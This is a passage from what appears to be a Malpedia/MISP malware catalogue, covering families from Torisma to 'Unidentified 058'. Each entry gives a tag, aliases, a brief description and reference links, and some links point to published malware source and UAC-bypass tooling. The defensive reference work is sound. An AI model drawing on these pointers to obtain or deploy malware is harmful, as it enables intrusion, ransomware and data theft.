The response of the server informing the client about a successful authentication is "Your request has been accepted. ClientID: {f9102bc8a7d81ef01ba}". The client then requests additional data from the server, that decrypts to shellcode and its data parameters, and is executed. The client also creates a named pipe, `\pipe{fb4d1181bb09b484d058768598b}`, that allows inter-process communication with the executed shellcode.

Torisma was usually downloaded by NedDnLoader, and deployed in the Operation DreamJob campaigns starting around Q4 2019.

The tag is: `misp-galaxy:malpedia="Torisma"`

Torisma is also known as:

Table 4317. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.torisma">https://malpedia.caad.fkie.fraunhofer.de/details/win.torisma</a></td>
</tr>
<tr>
<td><a href="https://blogs.jpcert.or.jp/en/2021/01/Lazarus_malware2.html">https://blogs.jpcert.or.jp/en/2021/01/Lazarus_malware2.html</a></td>
</tr>
<tr>
<td><a href="http://blog.nsfocus.net/stumbzarus-apt-lazarus/">http://blog.nsfocus.net/stumbzarus-apt-lazarus/</a></td>
</tr>
<tr>
<td><a href="https://www.telsy.com/lazarus-gate/">https://www.telsy.com/lazarus-gate/</a></td>
</tr>
</tbody>
</table>

**TorrentLocker**

The tag is: `misp-galaxy:malpedia="TorrentLocker"`

TorrentLocker is also known as:

- Teerac

Table 4318. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.torrentlocker">https://malpedia.caad.fkie.fraunhofer.de/details/win.torrentlocker</a></td>
</tr>
<tr>
<td><a href="http://www.bleepingcomputer.com/forums/t/547708/torrentlocker-ransomware-cracked-and-decrypter-has-been-made/">http://www.bleepingcomputer.com/forums/t/547708/torrentlocker-ransomware-cracked-and-decrypter-has-been-made/</a></td>
</tr>
</tbody>
</table>

**TorLoader**

Downloader, delivered via a lure with fake exploits published on Github.

The tag is: `misp-galaxy:malpedia="TorLoader"`
TorLoader is also known as:

<table>
<thead>
<tr>
<th>Table 4319. Table References</th>
</tr>
</thead>
<tbody>
<tr>
<td>Links</td>
</tr>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.tor_loader">https://malpedia.caad.fkie.fraunhofer.de/details/win.tor_loader</a></td>
</tr>
<tr>
<td><a href="https://vulncheck.com/blog/fake-repos-deliver-malicious-implant">https://vulncheck.com/blog/fake-repos-deliver-malicious-implant</a></td>
</tr>
</tbody>
</table>

**TOUCHMOVE**

The tag is: `misp-galaxy:malpedia="TOUCHMOVE"`

TOUCHMOVE is also known as:

<table>
<thead>
<tr>
<th>Table 4320. Table References</th>
</tr>
</thead>
<tbody>
<tr>
<td>Links</td>
</tr>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.touchmove">https://malpedia.caad.fkie.fraunhofer.de/details/win.touchmove</a></td>
</tr>
<tr>
<td><a href="https://www.mandiant.com/resources/blog/lightshow-north-korea-unc2970">https://www.mandiant.com/resources/blog/lightshow-north-korea-unc2970</a></td>
</tr>
<tr>
<td><a href="https://www.welivesecurity.com/2022/09/30/amazon-themed-campaigns-lazarus-netherlands-belgium/">https://www.welivesecurity.com/2022/09/30/amazon-themed-campaigns-lazarus-netherlands-belgium/</a></td>
</tr>
</tbody>
</table>

**TOUCHSHIFT**

The tag is: `misp-galaxy:malpedia="TOUCHSHIFT"`

TOUCHSHIFT is also known as:

<table>
<thead>
<tr>
<th>Table 4321. Table References</th>
</tr>
</thead>
<tbody>
<tr>
<td>Links</td>
</tr>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.touchshift">https://malpedia.caad.fkie.fraunhofer.de/details/win.touchshift</a></td>
</tr>
<tr>
<td><a href="https://www.mandiant.com/resources/blog/lightshow-north-korea-unc2970">https://www.mandiant.com/resources/blog/lightshow-north-korea-unc2970</a></td>
</tr>
</tbody>
</table>

**ToxicEye**

ToxicEye is a ransomware that spreads through phishing emails. The malware encrypts system files with AES-256 and demands a ransom in Bitcoin.

The tag is: `misp-galaxy:malpedia="ToxicEye"`

ToxicEye is also known as:

<table>
<thead>
<tr>
<th>Table 4322. Table References</th>
</tr>
</thead>
<tbody>
<tr>
<td>Links</td>
</tr>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.toxiceye">https://malpedia.caad.fkie.fraunhofer.de/details/win.toxiceye</a></td>
</tr>
</tbody>
</table>
### TransBox

According to Trend Micro, this is a backdoor abusing the Dropbox API, used by threat actor Earth Yako.

The tag is: *misp-galaxy:malpedia="TransBox"*

TransBox is also known as:

<table>
<thead>
<tr>
<th>Table 4323. Table References</th>
</tr>
</thead>
<tbody>
<tr>
<td>Links</td>
</tr>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.transbox">https://malpedia.caad.fkie.fraunhofer.de/details/win.transbox</a></td>
</tr>
</tbody>
</table>

### tRat

tRat is a modular RAT written in Delphi and has appeared in campaigns in September and October of 2018.

The tag is: *misp-galaxy:malpedia="tRat"*

tRat is also known as:

<table>
<thead>
<tr>
<th>Table 4324. Table References</th>
</tr>
</thead>
<tbody>
<tr>
<td>Links</td>
</tr>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.trat">https://malpedia.caad.fkie.fraunhofer.de/details/win.trat</a></td>
</tr>
<tr>
<td><a href="https://www.gdatasoftware.com/blog/trat-control-via-smartphone">https://www.gdatasoftware.com/blog/trat-control-via-smartphone</a></td>
</tr>
</tbody>
</table>

### TreasureHunter

The tag is: *misp-galaxy:malpedia="TreasureHunter"*

TreasureHunter is also known as:
TrickBot

A financial Trojan believed to be a derivative of Dyre: the bot uses very similar code, web injects, and operational tactics. Has multiple modules including VNC and Socks5 Proxy. Uses SSL for C2 communication.


Infection Vector 1. Phish > Link MS Office > Macro Enabled > Downloader > Trickbot 2. Phish > Attached MS Office > Macro Enabled > Downloader > Trickbot 3. Phish > Attached MS Office > Macro enabled > Trickbot installed

The tag is: misp-galaxy:malpedia="TrickBot"

TrickBot is also known as:

- TheTrick
- TrickLoader
- Trickster
<table>
<thead>
<tr>
<th>URL</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://www.sneakymonkey.net/2019/05/22/trickbot-analysis/">https://www.sneakymonkey.net/2019/05/22/trickbot-analysis/</a></td>
</tr>
<tr>
<td><a href="https://www.youtube.com/watch?v=KMcsAls9zGE">https://www.youtube.com/watch?v=KMcsAls9zGE</a></td>
</tr>
<tr>
<td><a href="https://blog.vinccs.net/2021/10/re025-trickbot-many-tricks.html">https://blog.vinccs.net/2021/10/re025-trickbot-many-tricks.html</a></td>
</tr>
<tr>
<td><a href="https://hello.global.ntt/en-us/insights/blog/trickbot-variant-communicating-over-dns">https://hello.global.ntt/en-us/insights/blog/trickbot-variant-communicating-over-dns</a></td>
</tr>
<tr>
<td><a href="https://medium.com/walmartglobaltech/trickbot-crews-new-cobaltstrike-loader-32c72b78e81c">https://medium.com/walmartglobaltech/trickbot-crews-new-cobaltstrike-loader-32c72b78e81c</a></td>
</tr>
<tr>
<td><a href="https://securelist.com/trickbot-module-descriptions/104603/">https://securelist.com/trickbot-module-descriptions/104603/</a></td>
</tr>
<tr>
<td><a href="https://www.crowdstrike.com/blog/wizard-spider-adversary-update/">https://www.crowdstrike.com/blog/wizard-spider-adversary-update/</a></td>
</tr>
<tr>
<td><a href="https://intezer.com/blog/intezer-analyze/fantastic-payloads-and-where-we-find-them">https://intezer.com/blog/intezer-analyze/fantastic-payloads-and-where-we-find-them</a></td>
</tr>
<tr>
<td><a href="https://www.fidelissecurity.com/threatgeek/2016/10/trickbot-we-missed-you-dyre">https://www.fidelissecurity.com/threatgeek/2016/10/trickbot-we-missed-you-dyre</a></td>
</tr>
<tr>
<td><a href="http://www.pwc.co.uk/issues/cyber-security-data-privacy/research/trickbots-bag-of-tricks.html">http://www.pwc.co.uk/issues/cyber-security-data-privacy/research/trickbots-bag-of-tricks.html</a></td>
</tr>
<tr>
<td><a href="https://www.cyberark.com/resources/threat-research-blog/conti-group-leaked">https://www.cyberark.com/resources/threat-research-blog/conti-group-leaked</a></td>
</tr>
<tr>
<td><a href="https://marcoramilli.com/2021/01/09/c2-traffic-patterns-personal-notes/">https://marcoramilli.com/2021/01/09/c2-traffic-patterns-personal-notes/</a></td>
</tr>
<tr>
<td><a href="https://www.pwc.co.uk/issues/cyber-security-services/insights/what-is-behind-ransomware-attacks-increase.html">https://www.pwc.co.uk/issues/cyber-security-services/insights/what-is-behind-ransomware-attacks-increase.html</a></td>
</tr>
<tr>
<td><a href="https://www.advintel.io/post/the-trickbot-saga-s-finale-has-aired-but-a-spinoff-is-already-in-the-works">https://www.advintel.io/post/the-trickbot-saga-s-finale-has-aired-but-a-spinoff-is-already-in-the-works</a></td>
</tr>
<tr>
<td><a href="https://www.netscout.com/blog/asert/dropping-anchor">https://www.netscout.com/blog/asert/dropping-anchor</a></td>
</tr>
</tbody>
</table>

https://public.intel471.com/blog/trickbot-online-emotet-microsoft-cyber-command-disruption-attempts/

https://twitter.com.VK_Intel/status/1328578336021483522


https://arcticwolf.com/resources/blog/karakurt-web


https://www.mandiant.com/media/12596/download


https://www.youtube.com/watch?v=ITywPmZEU1A

https://www.zscaler.com/blogs/research/trickbot-emerges-few-new-tricks

https://eclypsium.com/2020/12/03/trickbot-now-offers-trickboot-persist-brick-profit/

https://go.recordedfuture.com/hubfs/reports/cta-2021-1112.pdf


https://cybersecurity.att.com/blogs/labs-research/trickbot-bazarloader-in-depth


https://www.govcert.admin.ch/blog/36/severe-ransomware-attacks-against-swiss-smes

https://blog.fraudwatchinternational.com/malware/trickbot-malware-works

https://securityintelligence.com/posts/trickbot-conti-crypters-where-are-they-now/


https://www.kryptoslogic.com/blog/2021/02/trickbot-masrv-module/
Trigona

According to PCrisk, Trigona is ransomware that encrypts files and appends the ".locked" extension to filenames. Also, it drops the "how_to_decrypt.hta" file that opens a ransom note. An example of how Trigona renames files: it renames "1.jpg" to "1.jpg.locked", "2.png" to "2.png.locked", and so forth.

It embeds the encrypted decryption key, the campaign ID, and the victim ID in the encrypted files.

The tag is: misp-galaxy:malpedia="Trigona"

Trigona is also known as:

Table 4327. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.trigona">https://malpedia.caad.fkie.fraunhofer.de/details/win.trigona</a></td>
</tr>
<tr>
<td><a href="https://www.fortinet.com/blog/threat-research/ransomware-roundup-trigona-ransomware">https://www.fortinet.com/blog/threat-research/ransomware-roundup-trigona-ransomware</a></td>
</tr>
<tr>
<td><a href="https://unit42.paloaltonetworks.com/trigona-ransomware-update/">https://unit42.paloaltonetworks.com/trigona-ransomware-update/</a></td>
</tr>
</tbody>
</table>

Triton

Malware attacking commonly used in Industrial Control Systems (ICS) Triconex Safety
Instrumented System (SIS) controllers.

The tag is: misp-galaxy:malpedia="Triton"

Triton is also known as:

- HatMan
- Trisis

Table 4328. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://www.cisa.gov/uscert/ncas/alerts/aa22-083a">https://www.cisa.gov/uscert/ncas/alerts/aa22-083a</a></td>
</tr>
<tr>
<td><a href="https://www.cisa.gov/uscert/ncas/alerts/aa22-110a">https://www.cisa.gov/uscert/ncas/alerts/aa22-110a</a></td>
</tr>
<tr>
<td><a href="https://www.mandiant.com/resources/mandiant-red-team-emulates-fin11-tactics">https://www.mandiant.com/resources/mandiant-red-team-emulates-fin11-tactics</a></td>
</tr>
<tr>
<td><a href="https://github.com/ICSrepo/TRISIS-TRITON-HATMAN">https://github.com/ICSrepo/TRISIS-TRITON-HATMAN</a></td>
</tr>
<tr>
<td><a href="https://www.ic3.gov/Media/News/2022/220325.pdf">https://www.ic3.gov/Media/News/2022/220325.pdf</a></td>
</tr>
<tr>
<td><a href="https://www.eenews.net/stories/1060123327/">https://www.eenews.net/stories/1060123327/</a></td>
</tr>
<tr>
<td><a href="https://dragos.com/blog/trisis/TRISIS-01.pdf">https://dragos.com/blog/trisis/TRISIS-01.pdf</a></td>
</tr>
</tbody>
</table>
Trochilus RAT

Trochilus is a C++ written RAT, which is available on GitHub. GitHub Repo: [https://github.com/m0n0ph1/malware-1/tree/master/Trochilus](https://github.com/m0n0ph1/malware-1/tree/master/Trochilus) - [https://github.com/5loyd/trochilus](https://github.com/5loyd/trochilus)

The tag is: `misp-galaxy:malpedia="Trochilus RAT"`

Trochilus RAT is also known as:

**Table 4329. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://www.secureworks.com/research/threat-profiles/bronze-vinewood">https://www.secureworks.com/research/threat-profiles/bronze-vinewood</a></td>
</tr>
<tr>
<td><a href="https://github.com/5loyd/trochilus/">https://github.com/5loyd/trochilus/</a></td>
</tr>
<tr>
<td><a href="https://github.com/m0n0ph1/malware-1/tree/master/Trochilus">https://github.com/m0n0ph1/malware-1/tree/master/Trochilus</a></td>
</tr>
<tr>
<td><a href="https://www.pwc.co.uk/cyber-security/pdf/cloud-hopper-annex-b-final.pdf">https://www.pwc.co.uk/cyber-security/pdf/cloud-hopper-annex-b-final.pdf</a></td>
</tr>
<tr>
<td><a href="https://raw.githubusercontent.com/yt0ng/cracking_softcell/main/Cracking_SOFTCLL_TLP_WHITE.pdf">https://raw.githubusercontent.com/yt0ng/cracking_softcell/main/Cracking_SOFTCLL_TLP_WHITE.pdf</a></td>
</tr>
<tr>
<td><a href="https://www.secureworks.com/research/bronze-vinewood-targets-supply-chains">https://www.secureworks.com/research/bronze-vinewood-targets-supply-chains</a></td>
</tr>
<tr>
<td><a href="https://app.box.com/s/2uanuv1vn3vw5iket1r6bqrmrlra0gn">https://app.box.com/s/2uanuv1vn3vw5iket1r6bqrmrlra0gn</a></td>
</tr>
</tbody>
</table>

Troldesh

According to Malwarebyte, Ransomware is a type of malware that prevents users from accessing their system or personal files and demands ransom payment in order to regain access. Ransomware is spread by malspam, typically in the form of attached .zip files. This ransomware sometimes uses a CMS on a compromised site to host downloads.

The tag is: `misp-galaxy:malpedia="Troldesh"`

Troldesh is also known as:
• Shade

Table 4330. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.troldesh">https://malpedia.caad.fkie.fraunhofer.de/details/win.troldesh</a></td>
</tr>
<tr>
<td><a href="https://github.com/shade-team/keys">https://github.com/shade-team/keys</a></td>
</tr>
<tr>
<td><a href="https://blog.checkpoint.com/2015/06/01/troldesh-new-ransomware-from-russia/">https://blog.checkpoint.com/2015/06/01/troldesh-new-ransomware-from-russia/</a></td>
</tr>
<tr>
<td><a href="https://support.kaspersky.com/13059">https://support.kaspersky.com/13059</a></td>
</tr>
<tr>
<td><a href="https://labs.bitdefender.com/2020/05/shade-troldesh-ransomware-decryption-tool/">https://labs.bitdefender.com/2020/05/shade-troldesh-ransomware-decryption-tool/</a></td>
</tr>
<tr>
<td><a href="https://isc.sans.edu/forums/diary/More+Russian+language+malspam+pushing+Shade+Troldesh+ransomware/24668/">https://isc.sans.edu/forums/diary/More+Russian+language+malspam+pushing+Shade+Troldesh+ransomware/24668/</a></td>
</tr>
<tr>
<td><a href="https://blog.avast.com/ransomware-strain-troldesh-spikes">https://blog.avast.com/ransomware-strain-troldesh-spikes</a></td>
</tr>
<tr>
<td><a href="https://securelist.com/the-shade-encryptor-a-double-threat/72087/">https://securelist.com/the-shade-encryptor-a-double-threat/72087/</a></td>
</tr>
</tbody>
</table>

TroubleGrabber

The tag is: misp-galaxy:malpedia=“TroubleGrabber”

TroubleGrabber is also known as:

Table 4331. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.troublegrabber">https://malpedia.caad.fkie.fraunhofer.de/details/win.troublegrabber</a></td>
</tr>
<tr>
<td><a href="https://www.netskope.com/blog/heres-comes-troublegrabber-stealing-credentials-through-discord">https://www.netskope.com/blog/heres-comes-troublegrabber-stealing-credentials-through-discord</a></td>
</tr>
</tbody>
</table>

troystealer

The tag is: misp-galaxy:malpedia=“troystealer”

troystealer is also known as:

Table 4332. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.troystealer">https://malpedia.caad.fkie.fraunhofer.de/details/win.troystealer</a></td>
</tr>
</tbody>
</table>
Trump Ransom

The tag is: misp-galaxy:malpedia="Trump Ransom"

Trump Ransom is also known as:

Table 4333. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.trump_ransom

Tsifiri

The tag is: misp-galaxy:malpedia="Tsifiri"

Tsifiri is also known as:

Table 4334. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.tsifiri

TUNNELFISH

The tag is: misp-galaxy:malpedia="TUNNELFISH"

TUNNELFISH is also known as:

Table 4335. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.tunnelfish

turian

According to Mitre, Turian is a backdoor that has been used by BackdoorDiplomacy to target Ministries of Foreign Affairs, telecommunication companies, and charities in Africa, Europe, the Middle East, and Asia. First reported in 2021, Turian is likely related to Quarian, an older backdoor that was last observed being used in 2013 against diplomatic targets in Syria and the United States.

The tag is: misp-galaxy:malpedia="turian"

turian is also known as:

Table 4336. Table References
Turkojan

The tag is: `misp-galaxy:malpedia="Turkojan"`

Turkojan is also known as:

Table 4337. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.turkojan">https://malpedia.caad.fkie.fraunhofer.de/details/win.turkojan</a></td>
</tr>
</tbody>
</table>

TurlaRPC

The tag is: `misp-galaxy:malpedia="TurlaRPC"`

TurlaRPC is also known as:

Table 4338. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.turla_rpc">https://malpedia.caad.fkie.fraunhofer.de/details/win.turla_rpc</a></td>
</tr>
<tr>
<td><a href="https://unit42.paloaltonetworks.com/ironnetinjector/">https://unit42.paloaltonetworks.com/ironnetinjector/</a></td>
</tr>
<tr>
<td><a href="https://www.welivesecurity.com/2019/05/29/turla-powershell-usage/">https://www.welivesecurity.com/2019/05/29/turla-powershell-usage/</a></td>
</tr>
<tr>
<td><a href="https://cocomelonc.github.io/tutorial/2022/06/12/malware-pers-7.html">https://cocomelonc.github.io/tutorial/2022/06/12/malware-pers-7.html</a></td>
</tr>
<tr>
<td><a href="https://cocomelonc.github.io/tutorial/2022/05/02/malware-pers-3.html">https://cocomelonc.github.io/tutorial/2022/05/02/malware-pers-3.html</a></td>
</tr>
</tbody>
</table>

Turla SilentMoon

The tag is: `misp-galaxy:malpedia="Turla SilentMoon"`

Turla SilentMoon is also known as:
- BigBoss
- Cacao
- GoldenSky
- HyperStack

Table 4339. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.turla_silentmoon">https://malpedia.caad.fkie.fraunhofer.de/details/win.turla_silentmoon</a></td>
</tr>
<tr>
<td><a href="https://cocomelonc.github.io/tutorial/2022/06/12/malware-pers-7.html">https://cocomelonc.github.io/tutorial/2022/06/12/malware-pers-7.html</a></td>
</tr>
<tr>
<td><a href="https://twitter.com/Arkbird_SOLG/status/1304187749373800455">https://twitter.com/Arkbird_SOLG/status/1304187749373800455</a></td>
</tr>
</tbody>
</table>

TURNEDUP

The tag is: misp-galaxy:malpedia="TURNEDUP"

TURNEDUP is also known as:

- Notestuk

Table 4340. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.turnedup">https://malpedia.caad.fkie.fraunhofer.de/details/win.turnedup</a></td>
</tr>
<tr>
<td><a href="https://www.symantec.com/blogs/threat-intelligence/elfin-apt33-espionage">https://www.symantec.com/blogs/threat-intelligence/elfin-apt33-espionage</a></td>
</tr>
</tbody>
</table>

TypeHash

The tag is: misp-galaxy:malpedia="TypeHash"

TypeHash is also known as:

- SkinnyD
Typhon Stealer

According to PCrisk, Typhon is a stealer-type malware written in the C# programming language. Newer versions of this program are called Typhon Reborn (TyphonReborn). Malware within this classification is designed to extract data from infected systems. The older variants of Typhon have a broader range of functionalities, while Typhon Reborn versions are streamlined stealers.

The tag is: `misp-galaxy:malpedia="Typhon Stealer"`

Typhon Stealer is also known as:

- Typhon Reborn V2

Tyupkin

The tag is: `misp-galaxy:malpedia="Tyupkin"`

Tyupkin is also known as:

T-Cmd

The tag is: `misp-galaxy:malpedia="T-Cmd"`

T-Cmd is also known as:
• t_cmd

Table 4344. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.t_cmd">https://malpedia.caad.fkie.fraunhofer.de/details/win.t_cmd</a></td>
</tr>
</tbody>
</table>

T-RAT 2.0

The tag is: misp-galaxy:malpedia="T-RAT 2.0"

T-RAT 2.0 is also known as:

Table 4345. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.t_rat">https://malpedia.caad.fkie.fraunhofer.de/details/win.t_rat</a></td>
</tr>
<tr>
<td><a href="https://www.gdatasoftware.com/blog/trat-control-via-smartphone">https://www.gdatasoftware.com/blog/trat-control-via-smartphone</a></td>
</tr>
</tbody>
</table>

UACMe

A toolkit maintained by hfiref0x which incorporates numerous UAC bypass techniques for Windows 7 - Windows 10. Typically, components of this tool are stripped out and reused by malicious actors.

The tag is: misp-galaxy:malpedia="UACMe"

UACMe is also known as:

• Akagi

Table 4346. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.uacme">https://malpedia.caad.fkie.fraunhofer.de/details/win.uacme</a></td>
</tr>
<tr>
<td><a href="https://github.com/hfiref0x/UACME">https://github.com/hfiref0x/UACME</a></td>
</tr>
<tr>
<td><a href="https://securelist.com/scarcruft-continues-to-evolve-introduces-bluetooth-harvester/90729/">https://securelist.com/scarcruft-continues-to-evolve-introduces-bluetooth-harvester/90729/</a></td>
</tr>
</tbody>
</table>

UDPoS

The tag is: misp-galaxy:malpedia="UDPoS"

UDPoS is also known as:

Table 4347. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>
UFR Stealer

Information stealer.

The tag is: `misp-galaxy:malpedia=“UFR Stealer”`

UFR Stealer is also known as:

- Usteal

Table 4348. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.ufrstealer">https://malpedia.caad.fkie.fraunhofer.de/details/win.ufrstealer</a></td>
</tr>
<tr>
<td><a href="https://twitter.com/malwrhunterteam/status/1096363455769202688">https://twitter.com/malwrhunterteam/status/1096363455769202688</a></td>
</tr>
<tr>
<td><a href="https://www.microsoft.com/en-us/wdsi/threats/malware-encyclopedia-">https://www.microsoft.com/en-us/wdsi/threats/malware-encyclopedia-</a></td>
</tr>
<tr>
<td>description?Name=TrojanSpy:Win32/Usteal</td>
</tr>
</tbody>
</table>

Uiwix

The tag is: `misp-galaxy:malpedia=“Uiwix”`

Uiwix is also known as:

Table 4349. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.uiwix">https://malpedia.caad.fkie.fraunhofer.de/details/win.uiwix</a></td>
</tr>
<tr>
<td><a href="https://www.minerva-labs.com/post/">https://www.minerva-labs.com/post/</a> uiwix-evasive-ransomware-exploiting-</td>
</tr>
<tr>
<td>eternalblue</td>
</tr>
</tbody>
</table>

Umbral

Umbral is a data-stealing Trojan that targets Windows systems. It spreads through phishing emails and malicious attachments. Once installed, Umbral can steal a variety of data, including usernames, passwords, online banking credentials, and confidential files. It can also change computer settings and execute harmful commands. Umbral is a serious security threat and should be removed immediately if found.

The tag is: `misp-galaxy:malpedia=“Umbral”`

Umbral is also known as:

Table 4350. Table References
UnderminerEK

The tag is: `misp-galaxy:malpedia="UnderminerEK"`

UnderminerEK is also known as:

Table 4351. Table References

Links

- https://malpedia.caad.fkie.fraunhofer.de/details/win.underminer_ek
- https://decoded.avast.io/janvojtesek/exploit-kits-vs-google-chrome/

Unidentified 001

The tag is: `misp-galaxy:malpedia="Unidentified 001"`

Unidentified 001 is also known as:

Table 4352. Table References

Links

- https://malpedia.caad.fkie.fraunhofer.de/details/win.unidentified_001

Unidentified 003

The tag is: `misp-galaxy:malpedia="Unidentified 003"`

Unidentified 003 is also known as:

Table 4353. Table References

Links

- https://malpedia.caad.fkie.fraunhofer.de/details/win.unidentified_003

Unidentified 006

The tag is: `misp-galaxy:malpedia="Unidentified 006"`

Unidentified 006 is also known as:
Unidentified 013 (Korean)

The tag is: `misp-galaxy:malpedia="Unidentified 013 (Korean)"

Unidentified 013 (Korean) is also known as:

Unidentified 020 (Vault7)

The tag is: `misp-galaxy:malpedia="Unidentified 020 (Vault7)"

Unidentified 020 (Vault7) is also known as:

Unidentified 022 (Ransom)

The tag is: `misp-galaxy:malpedia="Unidentified 022 (Ransom)"

Unidentified 022 (Ransom) is also known as:

Unidentified 023

The tag is: `misp-galaxy:malpedia="Unidentified 023"
Unidentified 024 (Ransomware)

The tag is: *misp-galaxy:malpedia="Unidentified 024 (Ransomware)"

Unidentified 024 (Ransomware) is also known as:

Table 4359. Table References

Links

https://malpedia.caad.fkie.fraunhofer.de/details/win.unidentified_024_ransom
https://twitter.com/malwrhunterteam/status/789161704106127360

Unidentified 025 (Clickfraud)

The tag is: *misp-galaxy:malpedia="Unidentified 025 (Clickfraud)"

Unidentified 025 (Clickfraud) is also known as:

Table 4360. Table References

Links

https://malpedia.caad.fkie.fraunhofer.de/details/win.unidentified_025_clickfraud
http://malware-traffic-analysis.net/2016/05/09/index.html

Unidentified 028

The tag is: *misp-galaxy:malpedia="Unidentified 028"

Unidentified 028 is also known as:

Table 4361. Table References

Links

https://malpedia.caad.fkie.fraunhofer.de/details/win.unidentified_028

Unidentified 029

The tag is: *misp-galaxy:malpedia="Unidentified 029"

Unidentified 029 is also known as:

Table 4362. Table References

Links
**Filecoder**

According to enigmasoftware, FileCoder Trojans are Trojan infections that encrypt content on the victim's computer. FileCoder infections are a form of ransomware. Essentially, they take the victim's computer hostage, encrypting the victim's files and then demanding payment of a ransom in exchange for decrypting software.

The tag is: `misp-galaxy:malpedia="Filecoder"`

Filecoder is also known as:

**Unidentified 031**

The tag is: `misp-galaxy:malpedia="Unidentified 031"`

Unidentified 031 is also known as:

**Unidentified 037**

The tag is: `misp-galaxy:malpedia="Unidentified 037"`

Unidentified 037 is also known as:

**Unidentified 038**

The tag is: `misp-galaxy:malpedia="Unidentified 038"`

Unidentified 038 is also known as:
Unidentified 039
The tag is: misp-galaxy:malpedia="Unidentified 039"

Unidentified 039 is also known as:

Table 4367. Table References

Unidentified 041
The tag is: misp-galaxy:malpedia="Unidentified 041"

Unidentified 041 is also known as:

Table 4368. Table References

Unidentified 042
The tag is: misp-galaxy:malpedia="Unidentified 042"

Unidentified 042 is also known as:

Table 4369. Table References

Unidentified 044
The tag is: misp-galaxy:malpedia="Unidentified 044"

Unidentified 044 is also known as:

Table 4370. Table References
Unidentified 045

The tag is: misp-galaxy:malpedia="Unidentified 045"

Unidentified 045 is also known as:

Table 4371. Table References

Links

https://malpedia.caad.fkie.fraunhofer.de/details/win.unidentified_045

Unidentified 047

RAT written in Delphi used by Patchwork APT.

The tag is: misp-galaxy:malpedia="Unidentified 047"

Unidentified 047 is also known as:

Table 4372. Table References

Links

https://malpedia.caad.fkie.fraunhofer.de/details/win.unidentified_047
https://www.volexity.com/blog/2018/06/07/patchwork-apt-group-targets-us-think-tanks/

Unidentified 052

The tag is: misp-galaxy:malpedia="Unidentified 052"

Unidentified 052 is also known as:

Table 4373. Table References

Links

https://malpedia.caad.fkie.fraunhofer.de/details/win.unidentified_052

Unidentified 053 (Wonknu?)

The tag is: misp-galaxy:malpedia="Unidentified 053 (Wonknu?)"

Unidentified 053 (Wonknu?) is also known as:

Table 4374. Table References

Links

https://malpedia.caad.fkie.fraunhofer.de/details/win.unidentified_053
**Unidentified 057**

Unnamed portscanner as used in the Australian Parliament Hack (Feb 2019).

The tag is: `misp-galaxy:malpedia="Unidentified 057"

Unidentified 057 is also known as:

*Table 4375. Table References*

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.unidentified_057">https://malpedia.caad.fkie.fraunhofer.de/details/win.unidentified_057</a></td>
</tr>
<tr>
<td><a href="https://blog.yoroi.company/research/the-arsenal-behind-the-australian-parliament-hack/">https://blog.yoroi.company/research/the-arsenal-behind-the-australian-parliament-hack/</a></td>
</tr>
</tbody>
</table>

**Unidentified 058**

The tag is: `misp-galaxy:malpedia="Unidentified 058"

Unidentified 058 is also known as:

*Table 4376. Table References*

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
